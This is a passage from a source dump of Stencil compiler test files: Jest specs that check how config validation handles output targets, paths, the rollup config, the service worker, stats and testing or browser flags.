expect(copyTargets).toEqual([\n        {\n          copyAssets: 'dist',\n          dir: join(rootDir, 'www', 'docs', 'build'),\n          type: 'copy',\n        },\n        {\n          copy: [],\n          dir: join(rootDir, 'www', 'docs'),\n          type: 'copy',\n        },\n      ]);\n    });\n  });\n\n  describe('dist-hydrate-script', () => {\n    it('should not add hydrate by default', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(false);\n      expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n    });\n\n    it('should not add hydrate with user www', () => {\n      const wwwOutputTarget: d.OutputTargetWww = {\n        type: 'www',\n      };\n      userConfig.outputTargets = [wwwOutputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(false);\n      expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n    });\n\n    it('should add hydrate with user hydrate and www outputs', () => {\n      const wwwOutputTarget: d.OutputTargetWww = {\n        type: 'www',\n      };\n      const hydrateOutputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n      };\n      userConfig.outputTargets = [wwwOutputTarget, hydrateOutputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true);\n      expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n    });\n\n    it('should add hydrate with --prerender flag', () => {\n      userConfig.flags = { ...flags, prerender: true };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true);\n      expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n    });\n\n    it('should add hydrate with --ssr flag', () => {\n      userConfig.flags = { ...flags, ssr: true };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true);\n      expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true);\n    });\n\n    it('should add externals and defaults', () => {\n      const hydrateOutputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n        external: ['lodash', 'left-pad'],\n      };\n      userConfig.outputTargets = [hydrateOutputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const o = config.outputTargets.find(isOutputTargetHydrate) as d.OutputTargetHydrate;\n      expect(o.external).toContain('lodash');\n      expect(o.external).toContain('left-pad');\n      expect(o.external).toContain('fs');\n      expect(o.external).toContain('path');\n      expect(o.external).toContain('crypto');\n    });\n\n    it('should add node builtins to external by default', () => {\n      userConfig.flags = { ...flags, prerender: true };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const o = config.outputTargets.find(isOutputTargetHydrate) as d.OutputTargetHydrate;\n      expect(o.external).toContain('fs');\n      expect(o.external).toContain('path');\n      expect(o.external).toContain('crypto');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-paths.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing';\nimport { join } from '@utils';\nimport path from 'path';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validatePaths', () => {\n  let userConfig: d.Config;\n  const logger = mockLogger();\n  const sys = mockCompilerSystem();\n\n  // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these\n  // tests are run on)\n  const ROOT = path.resolve('/');\n\n  beforeEach(() => {\n    userConfig = {\n      sys: sys as any,\n      logger: logger,\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      rootDir: path.join(ROOT, 'User', 'my-app'),\n      namespace: 'Testing',\n    };\n  });\n\n  it('should set absolute cacheDir', () => {\n    // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n    // tests are run on) for their input\n    userConfig.cacheDir = path.join(ROOT, 'some', 'custom', 'cache');\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.cacheDir).toBe(join(ROOT, 'some', 'custom', 'cache'));\n  });\n\n  it('should set relative cacheDir', () => {\n    userConfig.cacheDir = 'custom-cache';\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.cacheDir).toBe(join(ROOT, 'User', 'my-app', 'custom-cache'));\n  });\n\n  it('should set default cacheDir', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.cacheDir).toBe(join(ROOT, 'User', 'my-app', '.stencil'));\n  });\n\n  it('should set default wwwIndexHtml and convert to absolute path', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe('index.html');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe(true);\n  });\n\n  it('should convert a custom wwwIndexHtml to absolute path', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'www',\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        indexHtml: path.join('assets', 'custom-index.html'),\n      },\n    ] as d.OutputTargetWww[];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe('custom-index.html');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe(true);\n  });\n\n  it('should set default indexHtmlSrc and convert to absolute path', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename(config.srcIndexHtml)).toBe('index.html');\n    expect(path.isAbsolute(config.srcIndexHtml)).toBe(true);\n  });\n\n  it('should set emptyDist to false', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'www',\n        empty: false,\n      },\n    ] as d.OutputTargetWww[];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(false);\n  });\n\n  it('should set default emptyWWW to true', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(true);\n  });\n\n  it('should set emptyWWW to false', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'www',\n        empty: false,\n      },\n    ] as d.OutputTargetWww[];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(false);\n  });\n\n  it('should set default collection dir and convert to absolute path', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'dist',\n      },\n    ];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename((config.outputTargets as d.OutputTargetDist[])[0].collectionDir!)).toBe('collection');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].collectionDir!)).toBe(true);\n  });\n\n  it('should set default types dir and convert to absolute path', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'dist',\n      },\n    ];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename((config.outputTargets as d.OutputTargetDist[])[0].typesDir!)).toBe('types');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].typesDir!)).toBe(true);\n  });\n\n  it('should set default build dir and convert to absolute path', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    // the path will be normalized by Stencil us use '/', split on that regardless of platform\n    const parts = (config.outputTargets as d.OutputTargetDist[])[0].buildDir!.split('/');\n    expect(parts[parts.length - 1]).toBe('build');\n    expect(parts[parts.length - 2]).toBe('www');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].buildDir!)).toBe(true);\n  });\n\n  it('should set build dir w/ custom www', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'www',\n        dir: 'custom-www',\n      },\n    ] as d.OutputTargetWww[];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    // the path will be normalized by Stencil us use '/', split on that regardless of platform\n    const parts = (config.outputTargets as d.OutputTargetDist[])[0].buildDir!.split('/');\n    expect(parts[parts.length - 1]).toBe('build');\n    expect(parts[parts.length - 2]).toBe('custom-www');\n    expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].buildDir!)).toBe(true);\n  });\n\n  it('should set default src dir and convert to absolute path', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename(config.srcDir)).toBe('src');\n    expect(path.isAbsolute(config.srcDir)).toBe(true);\n  });\n\n  it('should set src dir and convert to absolute path', () => {\n    userConfig.srcDir = 'app';\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename(config.srcDir)).toBe('app');\n    expect(path.isAbsolute(config.srcDir)).toBe(true);\n  });\n\n  it('should convert globalScript to absolute path, if a globalScript property was provided', () => {\n    // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n    // tests are run on) for their input\n    userConfig.globalScript = path.join('src', 'global', 'index.ts');\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename(config.globalScript!)).toBe('index.ts');\n    expect(path.isAbsolute(config.globalScript!)).toBe(true);\n  });\n\n  it('should convert globalStyle string to absolute path array, if a globalStyle property was provided', () => {\n    // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n    // tests are run on) for their input\n    userConfig.globalStyle = path.join('src', 'global', 'styles.css');\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(path.basename(config.globalStyle!)).toBe('styles.css');\n    expect(path.isAbsolute(config.globalStyle!)).toBe(true);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-rollup-config.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { validateRollupConfig } from '../validate-rollup-config';\n\ndescribe('validateStats', () => {\n  let config: d.Config;\n\n  beforeEach(() => {\n    config = {};\n  });\n\n  it('should use default if no config provided', () => {\n    const rollupConfig = validateRollupConfig(config);\n    expect(rollupConfig).toEqual({\n      inputOptions: {},\n      outputOptions: {},\n    });\n  });\n\n  it('should set based on inputOptions if provided', () => {\n    config.rollupConfig = {\n      inputOptions: {\n        context: 'window',\n      },\n    };\n    const rollupConfig = validateRollupConfig(config);\n    expect(rollupConfig).toEqual({\n      inputOptions: {\n        context: 'window',\n      },\n      outputOptions: {},\n    });\n  });\n\n  it('should use default if inputOptions is not provided but outputOptions is', () => {\n    config.rollupConfig = {\n      outputOptions: {\n        globals: {\n          jquery: '$',\n        },\n      },\n    };\n\n    const rollupConfig = validateRollupConfig(config);\n    expect(rollupConfig).toEqual({\n      inputOptions: {},\n      outputOptions: {\n        globals: {\n          jquery: '$',\n        },\n      },\n    });\n  });\n\n  it('should pass all valid config data through and not those that are extraneous', () => {\n    config.rollupConfig = {\n      inputOptions: {\n        context: 'window',\n        external: 'external_symbol',\n        notAnOption: {},\n      },\n      outputOptions: {\n        globals: {\n          jquery: '$',\n        },\n      },\n    } as d.RollupConfig;\n\n    const rollupConfig = validateRollupConfig(config);\n    expect(rollupConfig).toEqual({\n      inputOptions: {\n        context: 'window',\n        external: 'external_symbol',\n      },\n      outputOptions: {\n        globals: {\n          jquery: '$',\n        },\n      },\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-service-worker.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { OutputTargetWww } from '@stencil/core/declarations';\nimport { mockCompilerSystem, mockLogger, mockValidatedConfig } from '@stencil/core/testing';\n\nimport { createConfigFlags } from '../../../cli/config-flags';\nimport { validateServiceWorker } from '../validate-service-worker';\n\ndescribe('validateServiceWorker', () => {\n  let config: d.ValidatedConfig;\n\n  let outputTarget: d.OutputTargetWww;\n\n  beforeEach(() => {\n    config = mockValidatedConfig({\n      devMode: false,\n      flags: createConfigFlags(),\n      fsNamespace: 'app',\n      hydratedFlag: null,\n      logger: mockLogger(),\n      outputTargets: [],\n      packageJsonFilePath: '/package.json',\n      rootDir: '/',\n      sys: mockCompilerSystem(),\n      testing: {},\n      transformAliasedImportPaths: true,\n    });\n  });\n\n  /**\n   * A little util to work around a typescript annoyance. Because\n   * `outputTarget.serviceWorker` is typed as\n   * `serviceWorker?: ServiceWorkerConfig | null | false;` we get type errors\n   * all over if we try to just access it directly. So instead, do a little\n   * check to see if it's falsy. If not, we return it, and if it is we fail the test.\n   *\n   * @param target the output target from which we want to pull the serviceWorker\n   * @returns a serviceWorker object or `void`, with a `void` return being\n   * accompanied by a manually-triggered test failure.\n   */\n  function getServiceWorker(target: OutputTargetWww) {\n    if (target.serviceWorker) {\n      return target.serviceWorker;\n    } else {\n      throw new Error('the serviceWorker on the provided target was unexpectedly falsy, so this test needs to fail!');\n    }\n  }\n\n  it('should add host.config.json to globIgnores', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/User/me/app/www/',\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globIgnores).toContain('**/host.config.json');\n  });\n\n  it('should set globIgnores from string', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/User/me/app/www/',\n      serviceWorker: {\n        globIgnores: '**/some-file.js',\n      },\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globIgnores).toContain('**/some-file.js');\n  });\n\n  it('should set globDirectory', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/User/me/app/www/',\n      serviceWorker: {\n        globDirectory: '/custom/www',\n      },\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globDirectory).toBe('/custom/www');\n  });\n\n  it('should set default globDirectory', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/User/me/app/www/',\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globDirectory).toBe('/User/me/app/www/');\n  });\n\n  it('should set globPatterns array', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n      serviceWorker: {\n        globPatterns: ['**/*.{png,svg}'],\n      },\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globPatterns).toEqual(['**/*.{png,svg}']);\n  });\n\n  it('should set globPatterns string', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n      serviceWorker: {\n        globPatterns: '**/*.{png,svg}' as any,\n      },\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globPatterns).toEqual(['**/*.{png,svg}']);\n  });\n\n  it('should create default globPatterns', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(getServiceWorker(outputTarget).globPatterns).toEqual(['*.html', '**/*.{js,css,json}']);\n  });\n\n  it('should create default sw config when www type and prod mode', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).not.toBe(null);\n  });\n\n  it('should not create default sw config when www type and devMode', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n    };\n    config.devMode = true;\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).toBe(null);\n  });\n\n  it('should create default sw config when true boolean, even if devMode', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n      serviceWorker: true as any,\n    };\n    config.devMode = true;\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).not.toBe(true);\n  });\n\n  it('should not create sw config when in devMode', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n      serviceWorker: true as any,\n    };\n    config.devMode = true;\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).toBe(null);\n  });\n\n  it('should create sw config when in devMode if flag serviceWorker', () => {\n    outputTarget = {\n      type: 'www',\n      appDir: '/www',\n      serviceWorker: true as any,\n    };\n    config.devMode = true;\n    config.flags.serviceWorker = true;\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).not.toBe(null);\n  });\n\n  it('should stay null', () => {\n    outputTarget = {\n      type: 'www',\n      serviceWorker: null,\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).toBe(null);\n  });\n\n  it('should stay false', () => {\n    outputTarget = {\n      type: 'www',\n      serviceWorker: false,\n    };\n    validateServiceWorker(config, outputTarget);\n    expect(outputTarget.serviceWorker).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-stats.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateStats', () => {\n  let userConfig: d.Config;\n\n  beforeEach(() => {\n    userConfig = mockConfig();\n  });\n\n  it('adds stats from flags, w/ no outputTargets', () => {\n    // the flags field is expected to have been set by the mock creation function for unvalidated configs, hence the\n    // bang operator\n    userConfig.flags!.stats = true;\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toContain('stencil-stats.json');\n  });\n\n  it('uses stats config, custom path', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'stats',\n        file: 'custom-path.json',\n      } as d.OutputTargetStats,\n    ];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toContain('custom-path.json');\n  });\n\n  it('uses stats config, defaults file', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'stats',\n      },\n    ];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toContain('stencil-stats.json');\n  });\n\n  it('default no stats', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets.some((o) => o.type === 'stats')).toBe(false);\n  });\n\n  it('adds stats from flags with custom path string', () => {\n    // Test --stats dist/stats.json behavior\n    userConfig.flags!.stats = 'dist/custom-stats.json';\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toContain('dist/custom-stats.json');\n  });\n\n  it('adds stats from flags with custom path (absolute)', () => {\n    // Test --stats /tmp/stats.json behavior\n    userConfig.flags!.stats = '/tmp/absolute-stats.json';\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toBe('/tmp/absolute-stats.json');\n  });\n\n  it('flags stats path takes precedence over default when no outputTarget', () => {\n    // When --stats has a path, it should be used instead of the default\n    userConfig.flags!.stats = 'custom-location/stats.json';\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats;\n    expect(o).toBeDefined();\n    expect(o.file).toContain('custom-location/stats.json');\n    expect(o.file).not.toContain('stencil-stats.json');\n  });\n\n  it('does not override existing stats outputTarget when flag has path', () => {\n    // When there's already a stats outputTarget in config, flag should not add another\n    userConfig.outputTargets = [\n      {\n        type: 'stats',\n        file: 'config-defined.json',\n      } as d.OutputTargetStats,\n    ];\n    userConfig.flags!.stats = 'flag-defined.json';\n\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const statsTargets = config.outputTargets.filter((o) => o.type === 'stats');\n    expect(statsTargets.length).toBe(1);\n    expect(statsTargets[0].file).toContain('config-defined.json');\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-testing.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing';\nimport { join } from '@utils';\nimport path from 'path';\n\nimport { ConfigFlags, createConfigFlags } from '../../../cli/config-flags';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateTesting', () => {\n  // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these\n  // tests are run on)\n  const ROOT = path.resolve('/');\n  const sys = mockCompilerSystem();\n  const logger = mockLogger();\n  let userConfig: d.Config;\n  let flags: ConfigFlags;\n\n  beforeEach(() => {\n    flags = createConfigFlags();\n    userConfig = {\n      sys: sys as any,\n      logger: logger,\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      rootDir: path.join(ROOT, 'User', 'some', 'path'),\n      srcDir: path.join(ROOT, 'User', 'some', 'path', 'src'),\n      flags,\n      namespace: 'Testing',\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      configPath: path.join(ROOT, 'User', 'some', 'path', 'stencil.config.ts'),\n    };\n    userConfig.outputTargets = [\n      {\n        type: 'www',\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        dir: path.join(ROOT, 'www'),\n      } as any as d.OutputTargetStats,\n    ];\n  });\n\n  describe('no testing flags', () => {\n    it('returns an empty testing config when no testing config nor testing flags are provided', () => {\n      userConfig.flags = { ...flags, e2e: false, spec: false };\n      delete userConfig.testing;\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing).toEqual({});\n    });\n\n    it('returns the provided testing config when neither testing flag is provided', () => {\n      const testingConfig: d.TestingConfig = {\n        bail: false,\n      };\n      userConfig.flags = { ...flags, e2e: false, spec: false };\n      userConfig.testing = testingConfig;\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing).toEqual(testingConfig);\n    });\n  });\n\n  describe('browserHeadless', () => {\n    const originalCI = process.env.CI;\n    beforeEach(() => {\n      delete process.env.CI;\n    });\n\n    afterEach(() => {\n      process.env.CI = originalCI;\n    });\n\n    describe(\"using 'headless' value from cli\", () => {\n      it.each([false, 'shell'])('sets browserHeadless to %s', (headless) => {\n        userConfig.flags = { ...flags, e2e: true, headless };\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserHeadless).toBe(headless);\n      });\n\n      it('throws if browser headless is set to deprecated value `true`', () => {\n        userConfig.flags = { ...flags, e2e: true, headless: true };\n        expect(() => validateConfig(userConfig, mockLoadConfigInit())).toThrow(\n          'Setting \"browserHeadless\" config to `true` is not supported anymore, please set it to \"shell\"!',\n        );\n      });\n\n      it('defaults to \"shell\" outside of CI', () => {\n        userConfig.flags = { ...flags, e2e: true };\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserHeadless).toBe('shell');\n      });\n    });\n\n    describe('with ci enabled', () => {\n      it(\"forces using the shell headless mode when 'headless: false'\", () => {\n        userConfig.flags = { ...flags, ci: true, e2e: true, headless: false };\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserHeadless).toBe('shell');\n      });\n\n      it('allows the shell headless mode to be used', () => {\n        userConfig.flags = { ...flags, ci: true, e2e: true, headless: 'shell' };\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserHeadless).toBe('shell');\n      });\n    });\n\n    describe('`testing` configuration', () => {\n      beforeEach(() => {\n        userConfig.flags = { ...flags, e2e: true, headless: undefined };\n      });\n\n      it.each<boolean | 'shell'>([false, 'shell'])(\n        'uses %s browserHeadless mode from testing config',\n        (browserHeadlessValue) => {\n          userConfig.testing = { browserHeadless: browserHeadlessValue };\n          const { config } = validateConfig(userConfig, mockLoadConfigInit());\n          expect(config.testing.browserHeadless).toBe(browserHeadlessValue);\n        },\n      );\n\n      it('throws if browser headless is set to deprecated value `true`', () => {\n        userConfig.testing = { browserHeadless: true };\n        expect(() => validateConfig(userConfig, mockLoadConfigInit())).toThrow(\n          'Setting \"browserHeadless\" config to `true` is not supported anymore, please set it to \"shell\"!',\n        );\n      });\n\n      it('defaults the headless mode to \"shell\" when browserHeadless is not provided', () => {\n        userConfig.testing = {};\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserHeadless).toBe('shell');\n      });\n    });\n  });\n\n  describe('devTools', () => {\n    const originalCI = process.env.CI;\n    beforeEach(() => {\n      delete process.env.CI;\n    });\n\n    afterEach(() => {\n      process.env.CI = originalCI;\n    });\n\n    it('ignores devTools settings if CI is enabled', () => {\n      userConfig.flags = { ...flags, ci: true, devtools: true, e2e: true };\n      userConfig.testing = {};\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserDevtools).toBeUndefined();\n    });\n\n    it('sets browserDevTools to true when the devtools flag is set', () => {\n      userConfig.flags = { ...flags, devtools: true, e2e: true };\n      userConfig.testing = {};\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserDevtools).toBe(true);\n      // browserHeadless must be false to enabled dev tools (which are headful by definition)\n      expect(config.testing.browserHeadless).toBe(false);\n    });\n\n    it(\"sets browserDevTools to true when set in a project's config\", () => {\n      userConfig.flags = { ...flags, devtools: false, e2e: true };\n      userConfig.testing = { browserDevtools: true };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserDevtools).toBe(true);\n      // browserHeadless must be false to enabled dev tools (which are headful by definition)\n      expect(config.testing.browserHeadless).toBe(false);\n    });\n  });\n\n  describe('browserWaitUntil', () => {\n    it('sets the default to \"load\" if no value is provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {};\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserWaitUntil).toBe('load');\n    });\n\n    it('does not override a provided value', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        browserWaitUntil: 'domcontentloaded',\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserWaitUntil).toBe('domcontentloaded');\n    });\n  });\n\n  describe('browserArgs', () => {\n    const originalCI = process.env.CI;\n    beforeEach(() => {\n      delete process.env.CI;\n    });\n\n    afterEach(() => {\n      process.env.CI = originalCI;\n    });\n\n    it('does not add duplicate default fields', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        browserArgs: ['--unique', '--font-render-hinting=medium'],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserArgs).toEqual(['--unique', '--font-render-hinting=medium', '--incognito']);\n    });\n\n    describe('adds default browser args', () => {\n      const originalCI = process.env.CI;\n\n      beforeAll(() => {\n        delete process.env.CI;\n      });\n\n      afterAll(() => {\n        process.env.CI = originalCI;\n      });\n\n      it('adds default browser args when not in CI', () => {\n        userConfig.flags = { ...flags, e2e: true };\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n        expect(config.testing.browserArgs).toEqual(['--font-render-hinting=medium', '--incognito']);\n      });\n    });\n\n    it(\"adds additional browser args when the 'ci' flag is set\", () => {\n      userConfig.flags = { ...flags, ci: true, e2e: true };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.browserArgs).toEqual([\n        '--font-render-hinting=medium',\n        '--incognito',\n        '--no-sandbox',\n        '--disable-setuid-sandbox',\n        '--disable-dev-shm-usage',\n      ]);\n    });\n\n    describe('adds additional browser args when process.env.CI is set', () => {\n      const originalCI = process.env.CI;\n      beforeAll(() => {\n        process.env.CI = 'true';\n      });\n\n      afterAll(() => {\n        process.env.CI = originalCI;\n      });\n\n      it('adds default browser args when CI is set', () => {\n        userConfig.flags = { ...flags, ci: true, e2e: true };\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n        expect(config.testing.browserArgs).toEqual([\n          '--font-render-hinting=medium',\n          '--incognito',\n          '--no-sandbox',\n          '--disable-setuid-sandbox',\n          '--disable-dev-shm-usage',\n        ]);\n      });\n    });\n  });\n\n  describe('browserArgs in CI', () => {\n    const originalCI = process.env.CI;\n    beforeEach(() => {\n      process.env.CI = 'true';\n    });\n\n    afterEach(() => {\n      process.env.CI = originalCI;\n    });\n\n    it(\"adds additional browser args when 'CI' environment variable is set\", () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        browserArgs: ['--unique', '--font-render-hinting=medium'],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.browserArgs).toEqual([\n        '--unique',\n        '--font-render-hinting=medium',\n        '--incognito',\n        '--no-sandbox',\n        '--disable-setuid-sandbox',\n        '--disable-dev-shm-usage',\n      ]);\n    });\n  });\n\n  describe('screenshotConnector', () => {\n    it('assigns the screenshotConnector value from the provided flags', () => {\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      userConfig.flags = { ...flags, e2e: true, screenshotConnector: path.join(ROOT, 'mock', 'path') };\n      userConfig.testing = { screenshotConnector: path.join(ROOT, 'another', 'mock', 'path') };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.screenshotConnector).toBe(join(ROOT, 'mock', 'path'));\n    });\n\n    it(\"uses the config's root dir to make the screenshotConnector path absolute\", () => {\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      userConfig.flags = { ...flags, e2e: true, screenshotConnector: path.join('mock', 'path') };\n      userConfig.testing = { screenshotConnector: path.join('another', 'mock', 'path') };\n\n      const { config } = validateConfig(userConfig, 